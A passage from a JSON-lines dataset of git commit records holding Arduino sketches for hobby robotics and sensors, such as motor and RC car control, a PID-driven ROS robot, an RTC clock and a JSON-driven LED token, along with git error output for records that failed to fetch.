progress...\n","repos":"telminov\/arduino-battle-server,telminov\/arduino-battle-server,telminov\/arduino-battle-server","old_file":"car_server\/arduino\/arduino.ino","new_file":"car_server\/arduino\/arduino.ino","new_contents":"const int MOTOR_PIN = 3;\n\/\/const int SERVO_PIN = 9;\n\nboolean isMoveForward = 0;\nboolean isMoveBackward = 0;\nboolean isMoveLeft = 0;\nboolean isMoveRight = 0;\n\n\nvoid comply() {\n if (isMoveForward == 1)\n moveForward();\n\/\/ else if (isMoveBackward == 1)\n\/\/ moveBackward();\n else\n stopMoving();\n}\n\nvoid setup() {\n Serial.begin(9600);\n\n}\n\nchar command[4] = \"\";\nint i = 0;\n\nvoid loop() {\n if (Serial.available() > 0 ) {\n char ch = Serial.read();\n if (ch == '\\n') {\n processCommand();\n clearCommand();\n i = 0;\n } else {\n command[i] = ch;\n i++;\n }\n }\n \n}\n\nvoid processCommand() {\n Serial.println(command);\n \n isMoveForward = command[0] == '1';\n isMoveBackward = command[1] == '1';\n isMoveLeft = command[2] == '1';\n isMoveRight = command[3] == '1';\n \n comply();\n}\n\nvoid moveForward() {\n analogWrite(MOTOR_PIN, 150);\n}\n\nvoid stopMoving() {\n analogWrite(MOTOR_PIN, 0);\n}\n\nvoid clearCommand() {\n for (int i = 0; i < 4; i++) {\n command[i] = '0';\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'car_server\/arduino\/arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3b4e6231d48a45f6322d507805a66e62aa573d96","subject":"Added files via upload","message":"Added files via upload","repos":"woopsiedoozie\/TreeLamp","old_file":"firmware\/example.ino","new_file":"firmware\/example.ino","new_contents":"\/***************************************************\r\n Library code written by Limor Fried\/Ladyada for Adafruit Industries.\r\n Example code written by Mauricio Sanchez Duque\/sheva29\r\n \r\n ****************************************************\/\r\n\r\n\r\n\/\/ This #include statement was automatically added by the Particle IDE.\r\n#include \"Adafruit_CAP1188.h\"\r\n\r\n\/\/For SDA in Photon use pin D0\r\n\/\/For SCK in Photon use pin D1\r\n\/\/ VIN works with both 3.3V and 5V\r\n\r\nAdafruit_CAP1188 cap = Adafruit_CAP1188();\r\n\r\nvoid setup() {\r\n\r\n Serial.begin(19200);\r\n cap.begin();\r\n\r\n \/\/we set our level of sensitivity\r\n \/\/we pass values from 1 to 7\r\n cap.setSensitivity(6);\r\n\r\n}\r\n\r\nvoid loop() {\r\n\r\n \/\/cap.touchedAnalog(1) will call second electrode analog values\r\n for (byte i = 0; i < 8; i++){\r\n int8_t analogValues = cap.touchedAnalog(i);\r\n Serial.print(i);Serial.print(\" : \");Serial.print(analogValues);Serial.print(\"\\t\");\r\n }\r\n Serial.println();\r\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a7d0edda57d3deb460ab209fc46b64462b841601","subject":"updated version","message":"updated version\n","repos":"TEAMarg\/ID-28-Blob-Attack,TEAMarg\/ID-28-Blob-Attack","old_file":"BLBA_AB\/BLBA_AB.ino","new_file":"BLBA_AB\/BLBA_AB.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-28-Blob-Attack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"846229cbe58a0ffc364ba56c96d006bfc33bceee","subject":"init version","message":"init version\n","repos":"qblinks\/qmote_makers_projects","old_file":"qmote_rover\/qmote_rover.ino","new_file":"qmote_rover\/qmote_rover.ino","new_contents":"int leftMotorEnable = D1;\nint rightMotorEnable = A7;\nint leftMotorDir = D3;\nint rightMotorDir = D4;\n\nint status = 0; \/\/ 1:FORWARD 2:BACK 3:RIGHT 4:LEFT\n\nvoid setup()\n{\n \/\/Register Spark function\n Spark.function(\"rccar\", rcCarControl);\n\n pinMode(leftMotorDir, OUTPUT);\n pinMode(leftMotorEnable, OUTPUT);\n pinMode(rightMotorDir, OUTPUT);\n pinMode(rightMotorEnable, OUTPUT);\n\n pinMode(D7,OUTPUT);\n}\n\nvoid loop()\n{\n if(status == 1 || status == 2)\n {\n delay(4000);\n rcCarStop();\n status = 0;\n }\n if(status == 3 || status == 4)\n {\n delay(500);\n rcCarStop();\n status = 0;\n }\n \n}\n\nvoid rcCarStop()\n{\n digitalWrite(leftMotorEnable,LOW);\n digitalWrite(rightMotorEnable,LOW);\n\n digitalWrite(leftMotorDir,LOW);\n digitalWrite(rightMotorDir,LOW);\n}\n\n\/*******************************************************************************\n * Function Name : rcCarControl\n * Description : Parses the incoming API commands and sets the motor control\n pins accordingly\n * Input : RC Car commands\n e.g.: rc,FORWARD\n rc,BACK\n * Output : Motor signals\n * Return : 1 on success and -1 on fail\n *******************************************************************************\/\nint rcCarControl(String command)\n{\n if(command.substring(3,7) == \"STOP\")\n {\n digitalWrite(leftMotorEnable,LOW);\n digitalWrite(rightMotorEnable,LOW);\n\n digitalWrite(leftMotorDir,LOW);\n digitalWrite(rightMotorDir,LOW);\n\n return 1;\n }\n\n if(command.substring(3,7) == \"BACK\")\n {\n digitalWrite(leftMotorDir,LOW);\n digitalWrite(rightMotorDir,HIGH);\n\n digitalWrite(leftMotorEnable,HIGH);\n digitalWrite(rightMotorEnable,HIGH);\n\n status = 2;\n return 1;\n }\n\n if(command.substring(3,10) == \"FORWARD\")\n {\n digitalWrite(leftMotorDir,HIGH);\n digitalWrite(rightMotorDir,LOW);\n\n digitalWrite(leftMotorEnable,HIGH);\n digitalWrite(rightMotorEnable,HIGH);\n \n status = 1;\n return 1;\n }\n\n if(command.substring(3,8) == \"RIGHT\")\n {\n digitalWrite(leftMotorDir,HIGH);\n digitalWrite(rightMotorDir,HIGH);\n\n digitalWrite(leftMotorEnable,HIGH);\n digitalWrite(rightMotorEnable,HIGH);\n\nstatus = 3;\n return 1;\n }\n\n if(command.substring(3,7) == \"LEFT\")\n {\n digitalWrite(leftMotorDir,LOW);\n digitalWrite(rightMotorDir,LOW);\n\n digitalWrite(leftMotorEnable,HIGH);\n digitalWrite(rightMotorEnable,HIGH);\nstatus = 4;\n return 1;\n }\n\n \/\/ If none of the commands were executed, return false\n return -1;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'qmote_rover\/qmote_rover.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a03a12f528ea8167258c080d994e4845fdd11a43","subject":"ok, we have several new pins - but nothign special so far","message":"ok, we have several new pins - but nothign special so far\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"2b4d414b24f4321ff3cf27542c38b42afe7be2c9","subject":"Add sketch that includes all LCD interface implementations and adapters.","message":"Add sketch that includes all LCD interface implementations and adapters.\n","repos":"jeditekunum\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa","old_file":"libraries\/LCD\/CosaLCDverify\/CosaLCDverify.ino","new_file":"libraries\/LCD\/CosaLCDverify\/CosaLCDverify.ino","new_contents":"\/**\n * @file CosaLCDverify.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2015, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n * Verify build of all implementations of LCD and adapters.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include <HD44780.h>\n\n#include <PCF8574.h>\n#include <MJKDZ_LCD_Module.h>\n#include <GY_IICLCD.h>\n#include <DFRobot_IIC_LCD_Module.h>\n#include <SainSmart_LCD2004.h>\n\n#include <MCP23008.h>\n#include <Adafruit_I2C_LCD_Backpack.h>\n#include <ERM1602_5.h>\n\n#include <Canvas.h>\n#include <PCD8544.h>\n#include <ST7565.h>\n\n#include <VLCD.h>\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/LCD\/CosaLCDverify\/CosaLCDverify.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"118e2c496646cae15597a7f7ba39a4101f6aac2b","subject":"Funny action : correction angle","message":"Funny action : correction angle\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Funny Action\/Software\/funny_action\/funny_action\/funny_action.ino","new_file":"Module Funny Action\/Software\/funny_action\/funny_action\/funny_action.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Funny' did not match any file(s) known to git\nerror: pathspec 'Action\/Software\/funny_action\/funny_action\/funny_action.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"86512379738b5e3f348080dca44885daa7edc43b","subject":"Add SetClock example.","message":"Add SetClock example.\n","repos":"circuitar\/Nanoshield_RTC,circuitar\/Nanoshield_RTC","old_file":"examples\/SetClock\/SetClock.ino","new_file":"examples\/SetClock\/SetClock.ino","new_contents":"\/*\nThis a simple serial port clock application using the RTC Nanoshield.\n\nCopyright (c) 2013 Circuitar\nThis software is released under the MIT license. See the attached LICENSE file for details.\n*\/\n\n#include <Wire.h>\n#include <stdio.h>\n#include \"Nanoshield_RTC.h\"\n\nNanoshield_RTC rtc;\n\n#define BUFFER_SIZE 50\nchar buf[BUFFER_SIZE];\nchar date[11];\nchar time[9];\nchar itime[20];\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"-------------------------\");\n Serial.println(\" Nanoshield Serial Clock\");\n Serial.println(\"-------------------------\");\n Serial.println(\"\");\n\n \/\/ Initialize RTC\n if (!rtc.begin()) {\n Serial.println(\"Failed starting RTC\");\n while(true);\n };\n\n \/\/ Print current time and ask for the new time\n Serial.print(\"Current time:\\n\");\n rtc.read();\n \n \/\/ Set date and time\n rtc.writeYear(2018);\n rtc.writeMonth(03);\n rtc.writeDay(21);\n rtc.writeHours(14);\n rtc.writeMinutes(40);\n rtc.writeSeconds(00);\n}\n\nvoid loop()\n{\n \/\/ Read time from RTC\n rtc.read();\n\n \/\/ Print time in the serial port\n sprintf(date, \"%04d-%02d-%02d\", rtc.getYear(), rtc.getMonth(), rtc.getDay());\n sprintf(time, \"%02d:%02d:%02d\", rtc.getHours(), rtc.getMinutes(), rtc.getSeconds());\n Serial.print(date);\n Serial.print(\" \");\n Serial.println(time);\n \n \/\/Wait for next second\n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SetClock\/SetClock.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e6230be341916794e8793797c3cde381f130f756","subject":"Dialed in PID gains.","message":"Dialed in PID gains.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"955b33353507b6e885855a6f511d5734950039a0","subject":"Program for arduino","message":"Program for arduino\n","repos":"PUTvision\/ROS-labbot,PUTvision\/ROS-labbot,PUTvision\/ROS-labbot,PUTvision\/ROS-labbot","old_file":"arduino\/labbot_2_rosserial.ino","new_file":"arduino\/labbot_2_rosserial.ino","new_contents":"#include <Arduino.h>\n\n#define USE_USBCON\n#include <ros.h>\n#include <robot\/Num.h>\n#include <labbot\/msgToLabbot.h>\n\nros::NodeHandle nh;\n\nrobot::Num sendMsg;\nlabbot::msgToLabbot recvMsg;\n\n\n#include <Encoder.h>\n#include <DualMC33926MotorShield.h>\n\ntypedef float f32_t;\n\nclass CLabbotMotor\n{\n\tpublic:\n\t\tint32_t desiredSpeed;\n\t\tint32_t currentSpeed;\n\t\tint32_t steerValue;\n\n\t\tEncoder encoder;\n\n\t\tf32_t Kp;\n\t\tf32_t Ki;\n\t\tf32_t Kd;\n\n\tpublic:\n\t\tint32_t encoderBuffer[8];\n\n\t#define AVG_CALCULATE_NUMBER_OF_BITS_TO_SHIFT(bufferSize) \\\n\t\t(\\\n\t\tbufferSize == 1 ? 0 : \\\n\t\tbufferSize == 2 ? 1 : \\\n\t\tbufferSize == 4 ? 2 : \\\n\t\tbufferSize == 8 ? 3 : \\\n\t\tbufferSize == 16 ? 4 : \\\n\t\tbufferSize == 32 ? 5 : \\\n\t\tbufferSize == 64 ? 6 : \\\n\t\tbufferSize == 128 ? 7 : \\\n\t\t0\t\\\n\t\t)\n\n\t#define AVG_ENCODER_BUFFER_SIZE 8\n\n\t\tint32_t avgEncoderValue(int32_t newValue)\n\t\t{\n\t\t\t\/\/ buffer size = 8\n\t#define AVG_ENCODER_BIT_SHIFT\t\t\tAVG_CALCULATE_NUMBER_OF_BITS_TO_SHIFT(8)\t\t\t\t\/\/ 3\n\t\t\tstatic int32_t buffer[AVG_ENCODER_BUFFER_SIZE] = { 0, 0, 0, 0, 0, 0, 0, 0 };\n\t\t\tstatic uint8_t currentIndex = 0;\n\n\t\t\tbuffer[currentIndex] = newValue;\n\t\t\tif (currentIndex >= (AVG_ENCODER_BUFFER_SIZE - 1))\n\t\t\t{\n\t\t\t\tcurrentIndex = 0;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcurrentIndex++;\n\t\t\t}\n\n\t\t\tint32_t average = 0;\n\t\t\tuint8_t i;\n\t\t\tfor (i = 0; i<AVG_ENCODER_BUFFER_SIZE; i++)\n\t\t\t{\n\t\t\t\taverage += buffer[i];\n\t\t\t}\n\t\t\taverage = (average >> AVG_ENCODER_BIT_SHIFT);\n\n\t\t\treturn average;\n\t\t}\n\n\t\tinline void PID_compute()\n\t\t{\n\t\t\tconst int32_t outputMax = 100;\n\t\t\tconst int32_t outputMin = -100;\n\n\t\t\tstatic int32_t previousSpeed;\n\t\t\tstatic f32_t I_part = 0;\n\t\t\t\/\/ PV - process variable\n\t\t\t\/\/ SP - set point\n\t\t\t\/\/ CV - control variable\n\t\t\t\/\/ error = PV - SP\n\t\t\tf32_t error = (f32_t)(desiredSpeed - currentSpeed);\n\t\t\tf32_t P_part = Kp * error;\n\t\t\tI_part = I_part + Ki * error;\n\t\t\tif (I_part > outputMax)\n\t\t\t{\n\t\t\t\tI_part = outputMax;\n\t\t\t}\n\t\t\telse if (I_part < outputMin)\n\t\t\t{\n\t\t\t\tI_part = outputMin;\n\t\t\t}\n\t\t\t\/\/ TODO: czy ogranczenie na warto\ufffd\ufffd \"naca\ufffdkowan\ufffd\"?\n\t\t\tf32_t D_part = Kd * (f32_t)(currentSpeed - previousSpeed);\n\n\t\t\tint32_t output = (int32_t)(P_part + I_part + D_part);\n\n\t\t\tif (output > outputMax)\n\t\t\t{\n\t\t\t\toutput = outputMax;\n\t\t\t}\n\t\t\telse if (output < outputMin)\n\t\t\t{\n\t\t\t\toutput = outputMin;\n\t\t\t}\n\n\t\t\t\/\/ TODO: czy potrzebne?\n\t\t\tif (desiredSpeed < 5 && desiredSpeed > -5)\n\t\t\t{\n\t\t\t\toutput = 0;\n\t\t\t}\n\n\n\t\t\t\/\/ scale output (-100-100) to (-400 to 400)\n\t\t\t\/\/ TODO: przetestowa\ufffd czy <<2 dzia\ufffda\n\t\t\tsteerValue = output;\n\n\t\t\tpreviousSpeed = currentSpeed;\n\t\t}\n\n\tpublic:\n\t\tvoid Update()\n\t\t{\n\n\t\t}\n};\n\nclass CLabbotMotors\n{\n\tprivate:\n\t\tCLabbotMotor right;\n\t\tCLabbotMotor left;\n\n\t\tDualMC33926MotorShield motorsDriver;\n\n\t\tf32_t Kp;\n\t\tf32_t Ki;\n\t\tf32_t Kd;\n\n int64_t encAbsoluteTicksleft;\n int64_t encAbsoluteTicksright;\n\n\tpublic:\n\n\n\t\tCLabbotMotors(uint8_t encoderRightPin1, uint8_t encoderRightPin2, uint8_t encoderLeftPin1, uint8_t encoderLeftPin2) \/\/: encoderRight(encoderRightPin1, encoderRightPin2), encoderLeft(encoderLeftPin1, encoderLeftPin2)\n\t\t{\n\t\t\tright.encoder.Init(encoderRightPin1, encoderRightPin2);\n\t\t\tleft.encoder.Init(encoderLeftPin1, encoderLeftPin2);\n\n\t\t\tthis->motorsDriver.init();\n\n\t\t\t\/\/this->motorRightDirection = MOTOR_DIRECTION_FORWARD;\n\t\t\t\/\/this->motorLeftDirection = MOTOR_DIRECTION_FORWARD;\n\n\t\t\tthis->right.desiredSpeed = 0;\n\t\t\tthis->right.currentSpeed = 0;\n\t\t\tthis->right.steerValue = 0;\n\t\t\tthis->left.desiredSpeed = 0;\n\t\t\tthis->left.currentSpeed = 0;\n\t\t\tthis->left.steerValue = 0;\n\n\t\t\tthis->SetTunnings(2.0F, 4.0F, 0.0F);\n\n encAbsoluteTicksleft=0;\n encAbsoluteTicksright=0;\n\n\t\t\ttime1 = 0;\n\t\t\ttime2 = 0;\n\t\t\ttime3 = 0;\n\t\t\ttime4 = 0;\n\n\t\t\tthis->SetDesiredSpeed(0, 0);\n\t\t\tthis->Update();\n\t\t}\n\t\t\/*\n\t\tCLabbotMotors(Encoder* encRight, Encoder* encLeft)\n\t\t{\n\t\tencoderRight = encRight;\n\t\tencoderLeft = encLeft;\n\n\t\tthis->motorsDriver.init();\n\n\t\t\/\/this->motorRightDirection = MOTOR_DIRECTION_FORWARD;\n\t\t\/\/this->motorLeftDirection = MOTOR_DIRECTION_FORWARD;\n\n\t\tthis->desiredSpeedRight = 0;\n\t\tthis->currentSpeedRight = 0;\n\t\tthis->steerValueRight = 0;\n\t\tthis->desiredSpeedLeft = 0;\n\t\tthis->currentSpeedLeft = 0;\n\t\tthis->steerValueLeft = 0;\n\n\t\tthis->Kp = 4.0F;\n\t\tthis->Ki = 8.0F \/ 100.0F;\n\t\tthis->Kd = 0.0F * 100.0F;\n\t\t}\n\t\t*\/\n\n\n\t\t~CLabbotMotors()\n\t\t{\n\t\t\t\/\/delete this->encoderRight;\n\t\t\t\/\/delete this->encoderLeft;\n\t\t}\n\n\t\tunsigned long time1;\n\t\tunsigned long time2;\n\t\tunsigned long time3;\n\t\tunsigned long time4;\n\n\t\tvoid Update()\n\t\t{\n\t\t\tunsigned long timeStart = micros();\n\t\t\t\/\/ read current data from encoder\n\t\t\t\/*\n\t\t\tint32_t currentEncoderRightValue = this->encoderRight->read();\n\t\t\tthis->encoderRight->write(0);\n\t\t\tint32_t currentEncoderLeftValue = this->encoderLeft->read();\n\t\t\tthis->encoderLeft->write(0);\n\t\t\t*\/\n\t\t\tint32_t currentEncoderRightValue = this->right.encoder.read();\n encAbsoluteTicksright+=currentEncoderRightValue;\n\t\t\tthis->right.encoder.write(0);\n\t\t\tint32_t currentEncoderLeftValue = this->left.encoder.read();\n encAbsoluteTicksleft+=currentEncoderLeftValue;\n\t\t\tthis->left.encoder.write(0);\n\n\t\t\ttime1 = (micros() - timeStart);\n\n\n\t\t\ttimeStart = micros();\n\t\t\t\/\/ TODO: put this above, decide what type is required (int32_t, int8_t)\n\t\t\t\/\/ what does speed means? rpm? m\/s?\n\t\t\tthis->right.currentSpeed = this->right.avgEncoderValue(currentEncoderRightValue);\n\t\t\tthis->left.currentSpeed = this->left.avgEncoderValue(currentEncoderLeftValue);\n\n\t\t\ttime2 = (micros() - timeStart);\n\n\t\t\ttimeStart = micros();\n\t\t\t\/\/ update the PID\n\t\t\tthis->right.PID_compute();\n\t\t\tthis->left.PID_compute();\n\n\t\t\ttime3 = (micros() - timeStart);\n\n\n\n\t\t\t\/*\n\t\t\tif (motorRightDirection == MOTOR_DIRECTION_FORWARD)\n\t\t\t{\n\t\t\tthis->steerValueRight = -this->steerValueRight;\n\t\t\t}\n\t\t\t\/\/ else do nothing\n\t\t\tif (motorLeftDirection == MOTOR_DIRECTION_FORWARD)\n\t\t\t{\n\t\t\tthis->steerValueLeft = -this->steerValueLeft;\n\t\t\t}\n\t\t\t\/\/ else do nothing\n\t\t\t*\/\n\t\t\ttimeStart = micros();\n\t\t\t\/\/ set the driver pins to spin the motor in appropriate direction with requested speed\n\t\t\tthis->motorsDriver.setSpeeds(this->right.steerValue * 4, -(this->left.steerValue * 4));\n\t\t\t\/\/this->motorsDriver.setM1Speed((this->steerValueRight<<2));\n\t\t\t\/\/this->motorsDriver.setM2Speed(-(this->steerValueLeft<<2));\n\t\t\ttime4 = (micros() - timeStart);\n\t\t}\n\n\t\tvoid SetDesiredSpeed(int32_t speedRight, int32_t speedLeft)\n\t\t{\n\t\t\tthis->right.desiredSpeed = speedRight;\n\t\t\tthis->left.desiredSpeed = speedLeft;\n\t\t}\n\n\t\tvoid SetTunnings(f32_t _Kp, f32_t _Ki, f32_t _Kd)\n\t\t{\n\t\t\tKp = _Kp;\n\t\t\tKi = _Ki \/ 100.0F;\n\t\t\tKd = _Kd * 100.0F;\n\n\t\t\tthis->right.Kp = Kp;\n\t\t\tthis->right.Ki = Ki;\n\t\t\tthis->right.Kd = Kd;\n\n\t\t\tthis->left.Kp = Kp;\n\t\t\tthis->left.Ki = Ki;\n\t\t\tthis->left.Kd = Kd;\n\t\t}\n\n inline int GetAbsolutLeftTicks()\n {\n return encAbsoluteTicksleft;\n }\n inline int GetAbsolutRightTicks()\n {\n return encAbsoluteTicksright;\n }\n\n\t\tinline int32_t GetCurrentSpeedMotorRight()\n\t\t{\n\t\t\treturn this->right.currentSpeed;\n\t\t}\n\t\tinline int32_t GetCurrentSpeedMotorLeft()\n\t\t{\n\t\t\treturn this->left.currentSpeed;\n\t\t}\n\t\tinline int32_t GetSteerValueMotorRight()\n\t\t{\n\t\t\treturn this->right.steerValue;\n\t\t}\n\t\tinline int32_t GetSteerValueMotorLeft()\n\t\t{\n\t\t\treturn this->left.steerValue;\n\t\t}\n\n\t\tinline int32_t GetKp()\n\t\t{\n\t\t\treturn (int32_t)Kp;\n\t\t}\n\t\tinline int32_t GetKi()\n\t\t{\n\t\t\treturn (int32_t)(Ki*100.0F);\n\t\t}\n\t\tinline int32_t GetKd()\n\t\t{\n\t\t\treturn (int32_t)(Kd);\n\t\t}\n};\n\nCLabbotMotors motors(3, 2, 0, 1);\n\n\/\/ function copied from cmdMessenger \n\/\/ https:\/\/github.com\/thijse\/Arduino-Libraries\/tree\/master\/CmdMessenger\n\/\/ Returns if it has been more than interval (in ms) ago. Used for periodic actions\nbool hasExpired(unsigned long &prevTime, unsigned long interval) {\n\tif (millis() - prevTime > interval) {\n\t\tprevTime = millis();\n\t\treturn true;\n\t}\n\telse\n\t\treturn false;\n}\n\nconst unsigned long motorsUpdateInterval = 10; \/\/ 0.01 second interval, 100 Hz frequency\nunsigned long previousMotorsUpdateTime = 0;\nconst unsigned long publishInterval = 100;\nunsigned long previousPublishTime = 0;\n\nvoid receivedMessagesCallback(const labbot::msgToLabbot& msg)\n{\n\tdouble newMotorRightSpeed = 0;\n\tdouble newMotorLeftSpeed = 0;\n\n\tconst double maxSpeed = 70;\n\n\tif (msg.motorRightSpeed > maxSpeed)\n\t{\n\t\tnewMotorRightSpeed = maxSpeed;\n\t}\n\telse if (msg.motorRightSpeed < -maxSpeed)\n\t{\n\t\tnewMotorRightSpeed = -maxSpeed;\n\t}\n\telse\n\t{\n\t\tnewMotorRightSpeed = msg.motorRightSpeed;\n\t}\n\n\tif (msg.motorLeftSpeed > maxSpeed)\n\t{\n\t\tnewMotorLeftSpeed = maxSpeed;\n\t}\n\telse if (msg.motorLeftSpeed < -maxSpeed)\n\t{\n\t\tnewMotorLeftSpeed = -maxSpeed;\n\t}\n\telse\n\t{\n\t\tnewMotorLeftSpeed = msg.motorLeftSpeed;\n\t}\n\n\tmotors.SetDesiredSpeed(newMotorRightSpeed, newMotorLeftSpeed);\n}\n\nros::Publisher fromenc(\"fromenc\", &sendMsg);\nros::Subscriber<labbot::msgToLabbot> toLabbot(\"toLabbot\", &receivedMessagesCallback);\n\nvoid setup()\n{\n\t\/* add setup code here *\/\n\tpinMode(13, OUTPUT);\n\tdigitalWrite(13, LOW);\n\tdelay(1000);\n\tfor (int i = 0; i < 10; ++i)\n\t{\n\t\tdigitalWrite(13, HIGH);\n\t\tdelay(200);\n\t\tdigitalWrite(13, LOW);\n\t\tdelay(200);\n\t}\n\n\t\/\/ ros objects\n\tnh.initNode();\n\tnh.advertise(fromenc);\n\tnh.subscribe(toLabbot);\n\n\tmotors.SetTunnings(2.0F, 4.0F, 0.0F);\n}\n\nvoid loop()\n{\n\t\/\/ send data to PC after defined interval\n\tif (hasExpired(previousPublishTime, publishInterval))\n\t{\n sendMsg.lwheel=motors.GetAbsolutLeftTicks();\n sendMsg.rwheel=motors.GetAbsolutRightTicks();\n\t\t\t\n\t\t\tfromenc.publish(&sendMsg);\n\t}\n\n\tif (hasExpired(previousMotorsUpdateTime, motorsUpdateInterval))\n\t{\n\t\tmotors.Update();\n\t}\n\n\t\/\/ do all the nodehandler duties once\n\tnh.spinOnce();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/labbot_2_rosserial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ccdf20ed7ac901142983cd004e82e5a8f4821d6a","subject":"Add firmware for LightBlueBean Token","message":"Add firmware for LightBlueBean Token\n","repos":"Matth26\/anyboardjs,tomfa\/anyboardjs,tomfa\/anyboardjs","old_file":"examples\/evothings.bluetooth_discovery\/firmware\/Token_fw_BEANHW.ino","new_file":"examples\/evothings.bluetooth_discovery\/firmware\/Token_fw_BEANHW.ino","new_contents":"\/\/ Token's firmware working copy\n\/\/ Code based on RFDUINO hardware, uses C char arrays \n\n#include <ArduinoJson.h>\n\n\n\n\/\/Test JSON strings\nchar OFF[]= \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"off\\\"}\";\nchar GREEN[] = \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"on\\\",\\\"color\\\":\\\"green\\\"}\";\nchar RED[] = \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"on\\\",\\\"color\\\":\\\"red\\\"}\";\nchar BLUE[] = \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"on\\\",\\\"color\\\":\\\"blue\\\"}\";\nchar WHITE[] = \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"on\\\",\\\"color\\\":\\\"white\\\"}\";\n\nvoid setup() {\n \/\/Serial.begin(9600); \/\/Streams debug messagges over the serial port DEFAULT: OFF\n\n \n \/\/ Test LED on startup\n parseJSON(GREEN);\n delay(300);\n parseJSON(RED);\n delay(300);\n parseJSON(BLUE);\n delay(300);\n parseJSON(WHITE);\n delay(300);\n parseJSON(OFF);\n delay(300);\n \n \/\/Initialise bluetooth\n}\n\nvoid loop() {\n\n}\n\n\n\n\/\/Parses JSON messages\nvoid parseJSON(char *payload) {\n char sel;\n \/\/ char json[200]; \n \/\/ payload.toCharArray(json, 50);\n StaticJsonBuffer<200> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(payload);\n\n \/\/ Serial.print(\"DEBUG: \"); Serial.println(json);\n if (!root.success()) {\n Serial.println(\"parseObject() failed\");\n return;\n }\n\n const char* device = root[\"device\"];\n const char* event = root[\"event\"];\n const char* color = root[\"color\"];\n\n if(strcmp(device, \"LED\") == 0)\n {\n if(strcmp(event, \"on\") == 0)\n {\n sel = color[0];\n ledON(sel);\n } \n if (strcmp(event, \"off\") == 0)\n {\n ledOFF();\n }\n }\n}\n\n\/\/ Turns the LED off\nvoid ledOFF(){\n Bean.setLed(0, 0, 0);\n}\n\n\/\/ Turns on the LED on a specific color: r=red, g=gree, osv..\nvoid ledON(char sel){\n switch(sel)\n {\n case 'r':\n {\n Bean.setLed(255, 0, 0);\n Serial.println(\"DEBUG: LED RED ON\");\n break;\n }\n case 'g':\n {\n Bean.setLed(0, 255, 0);\n Serial.println(\"DEBUG: LED GREEN ON\");\n break;\n }\n case 'b':\n {\n Bean.setLed(0, 0, 255);\n Serial.println(\"DEBUG: LED BLUE ON\");\n break;\n }\n case 'w':\n {\n Bean.setLed(255, 255, 255);\n Serial.println(\"DEBUG: LED WITHE ON\");\n break;\n } \n }}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 